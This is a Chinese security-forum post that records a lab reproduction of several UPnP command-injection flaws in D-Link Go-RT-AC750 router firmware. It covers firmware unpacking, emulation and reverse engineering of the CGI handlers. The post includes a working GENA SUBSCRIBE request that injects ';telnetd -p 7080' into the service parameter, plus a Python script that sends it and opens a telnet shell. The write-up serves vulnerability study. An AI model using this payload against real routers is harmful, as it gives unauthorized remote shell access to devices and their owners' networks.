首页
社区
课程
招聘
[原创]D-Link Go-RT-AC750命令注入漏洞复现(学习记录)
发表于: 2023-8-5 19:22 16442

[原创]D-Link Go-RT-AC750命令注入漏洞复现(学习记录)

2023-8-5 19:22
16442

前面的复现都是以CVE编号为主的复现,这次换个方式,以路由器型号为单位进行复现。本次复现的命令注入漏洞都是D-Link Go-RT-AC750中存在的漏洞,目前一共有五个:

在对D-Link Go-RT-AC750命令注入漏洞复现前先了解一些背景知识,主要是CGI和UPnP。

CGI规定了Web服务器调用CGI程序的接口协议标准。Web服务器通过调用CGI程序实现和Web浏览器的交互, 即CGI程序接收Web浏览器发送给Web服务器的信息并进行处理, 将处理后的结果返回给Web服务器。组成CGI通信系统的是两部分:一部分是html页面,用于在浏览器上显示;另一部分则是运行在服务器上的CGI程序。

通常情况下,服务器和CGI程序在Web环境变量的协作下,通过标准输入(stdin)和标准输出(stdout)来进行数据传递。以Go-RT-AC750的Web服务器工作流程为例:

CGI程序继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在CGI程序结束时销毁。当CGI程序被HTTP服务器调用时,它的环境变量就会增加一些和HTTP服务相关的环境变量。下面是一些常见的和HTTP相关的环境变量(CGI程序使用getenv()函数获取环境变量,例如 getenv("CONTENT_TYPE")):

UPnP是由微软提出的一种通用即插即用技术,后续联合英特尔等多家科技公司共同制定了UPnP标准。UPnP主要是为了实现在“零配置”的前提下在联网设备间能自动连接和协同工作。UPnP的协议栈结构图如下:

UPnP协议体系结构中主要协议和规范包括:

当加入一个新的UPnP设备时,工作流程如下:

通过上述六个步骤,UPnP设备可以做到在“零配置”的前提下提供联网设备之间的自动发现、自动声明、“直接”信息交换和互操作等功能,真正实现“设备即插即用”。

这里只是给个简单介绍,具体实现细节请阅读UPnP官方文档,链接见参考文章。

使用binwalk解包,获取文件系统:

解包成功,浏览完文件系统中文件发现有telnetd,可用于漏洞验证:

以调试方式模拟固件,以便分析过程中使用shell查看运行时相关信息:

模拟成功后扫描端口:

通过调试shell查看文件:/var/run/httpd.conf 可知49152是upnp服务端口。

根据漏洞披露的信息,这个漏洞和服务参数以及genacgi_main函数有关,查找字符串genacgi_main找到相关文件htdocs/cgibin:

将htdocs/cgibin拿到IDA中分析,并直接定位到函数genacgi_main,调用该函数的代码为:

在cgibin程序的main函数中判断是否为gena.cgi

genacgi_main函数的功能是:检查HTTP请求方法和判断URI中是否有?service=,若HTTP请求方法为SUBSCRIBE或UNSUBSCRIBE则调用对应的函数处理。当REQUEST_METHOD为SUBSCRIBE时,获取一些环境变量并使用sprintf函数拼接成字符串传入到xmldbc_ephp函数中处理:

xmldbc_ephp函数将拼接的subscribe_string 通过/var/run/xmldb_sock传入到/htdocs/upnp/run.NOTIFY.php文件中进行处理并返回处理结果到服务器。subscrib_string的内容形式为:

查看/htdocs/upnp/run.NOTIFY.php文件内容:

查找文件中涉及的函数GENA_subscribe_new:

综上可知漏洞点在fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); 代码中的目的是为了执行rm -f shell_file命令删除shell_file文件,但shell_file可通过SUBSCRIBE传入的服务参数进行控制并且全程没有任何对服务参数的检查,从而可实现命令注入。

此漏洞涉及到的是UPnP的GENA(通用事件通知结构)相关内容,当设备服务状态发生变化时,会通过event通知控制点。控制点能收到通知的前提是要先订阅(SUBSCRIBE)该服务的指定event。订阅特定服务的事件的方法是:发送订阅消息到该服务的事件 URL。通过分析可知,此漏洞的触发条件是要路由器发送UPnP订阅服务的请求。根据UPnP官方文档可知订阅请求格式如下:

结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的subscriber的请求头如下:

Poc脚本执行后,成功取得shell:

根据漏洞披露的信息可知漏洞点和 service 参数以及 soapcgi_main 有关,在文件系统中查找soapcgi_main并定位到所在文件cgibin,将其拿到IDA中逆向分析,通过函数名查找,定位到soapcgi_main函数,调用该函数的代码如下:

soapcgi_main中关键代码如下:

这段代码是在获取与请求相关的环境变量,可获得的信息有:

综上分析可知,漏洞出现的原因是POST 的URI中?service=后面的内容可由输入控制,全程没有对该处输入进行检查,直接sprintf后由system函数执行。

此漏洞涉及到的是UPnP的SOAP(简单对象访问协议)相关内容,SOAP主要是用于保证UPnP设备具有互操作能力。控制点可以调用UPnP设备上的服务,并接收返回结果。根据UPnP官方文档,要调用UPnP设备上的服务,控制点必须以POST方法发送以下格式的请求:

由上面的分析可知要构造的POST请求头如下:

Poc脚本执行后,成功取得shell:

根据漏洞披露的信息可知和ssdpcgi_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索ssdpcgi_main函数,调用该函数的代码为:

根据前面分析的漏洞可知,这次漏洞请求URL中的文件是ssdpcgi。ssdpcgi_main函数中漏洞点关键代码如下:

根据上图代码可知要实现命令注入需要的环境变量如下:

这些数据被传入lxmldbc_system函数,在该函数中直接拼接执行,没有任何检查。这几个环境变量中只有HTTP_ST是需要请求头设定的,即HTTP_ST是可控制的输入,因此HTTP_ST的值即为漏洞点。

此漏洞涉及到的是UPnP的SSDP(简单服务发现协议)相关内容,该协议主要是用于发现网络中的UPnP设备。控制点(用户操作的HTTP客户端)可以通过使用简单服务发现协议,根据自己的需要在网络中查询能够提供特定服务的设备。相应的设备(也就是本路由器)向控制点发出回应,声明自己的存在及能提供的服务。该协议在HTTP之下使用的是UDP。控制点需要用以下格式发送请求:



综上分析,结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的请求头如下:

Poc脚本执行后,成功取得shell:

根据漏洞披露的信息可知和hnap_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索hnap_main函数,调用该函数的代码为:

hnap_main函数中关键代码如下:


代码中没有对HTTP_SOAPACTION的值进行检查,直接将其内容中“/”后的内容拼接到buffer中执行。要想HTTP_SOAPACTION的值被作为注入点执行,请求方式不能为POST,可设定为GET,URL为/HNAP1/

Poc脚本执行后,成功取得shell:

根据漏洞披露的信息,此漏洞和/htdocs/upnpinc/gena.php文件有关。查看该文件内容:

通过查找该文件相关函数调用关系发现此漏洞和CVE-2023-34800所提及的是同一个漏洞。那么此漏洞的复现过程及Poc见CVE-2023-34800。

D-Link Go-RT-AC750相关的命令注入漏洞复现就告一段落了,起初看到一个设备有这么多命令注入漏洞,就很好奇会不会是同一个原因造成的,经过逐一复现后发现也能算是同一个原因,使用UPnP服务不检测输入的原因。这个固件把UPnP的GENA、SOAP、SSDP等位置的漏洞都触发了一遍,是一个很好的学习UPnP漏洞的样本。

变量 含义
REQUEST_METHOD 服务器与CGI程序之间的信息传输方式
QUERY_STRING 采用GET时所传输的信息
CONTENT_LENGTH 传来的有效信息长度
CONTENT_TYPE 传来的信息的MIME类型
SERVER_NAME 服务器的IP或名字
SERVER_PORT 服务器的端口号
SERVER_ID 服务ID
REMOTE_ADDR 客户机的主机名
REMOTE_HOST 客户机的IP地址
binwalk -Me GORTAC750_A1_FW_v101b03.bin
binwalk -Me GORTAC750_A1_FW_v101b03.bin
假设传入:SUBSCRIBE URL ?service=service_xx
 
/htdocs/upnp/run.NOTIFY.php\nMETHOD=SUBSCRIBE\nINF_UID=SERVER_ID\nSERVICE=service_xx\nSID=HTTP_SID\nTIMEOUT=time_xx\nSHELL_FILE=/var/run/service_xx.sh
假设传入:SUBSCRIBE URL ?service=service_xx
 
/htdocs/upnp/run.NOTIFY.php\nMETHOD=SUBSCRIBE\nINF_UID=SERVER_ID\nSERVICE=service_xx\nSID=HTTP_SID\nTIMEOUT=time_xx\nSHELL_FILE=/var/run/service_xx.sh
SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite
SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite
from socket import *
from os import *
from time import *
 
request = b"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"
request += b"Callback: <http://192.168.0.1/>\r\n"
request += b"NT: upnp:event\r\n"
request += b"Timeout: Second-infinite\r\n\r\n"
  
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
  
sleep(10)
system('telnet 192.168.0.1 7080')
from socket import *
from os import *
from time import *
 
request = b"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"
request += b"Callback: <http://192.168.0.1/>\r\n"
request += b"NT: upnp:event\r\n"
request += b"Timeout: Second-infinite\r\n\r\n"
  
s = socket(AF_INET, SOCK_STREAM)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-8-5 19:23 被伯爵的信仰编辑 ,原因:
上传的附件:
收藏
免费 6
支持
分享
最新回复 (3)
雪    币: 13992
活跃值: (17371)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-8-6 15:23
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
请问为什么文件系统中文件发现有telnetd,就可用于漏洞验证,能解释一下吗,不太明白,谢谢!
2023-9-16 18:31
0
雪    币: 2787
活跃值: (30801)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2023-9-16 23:14
1
游客
登录 | 注册 方可回帖
返回
//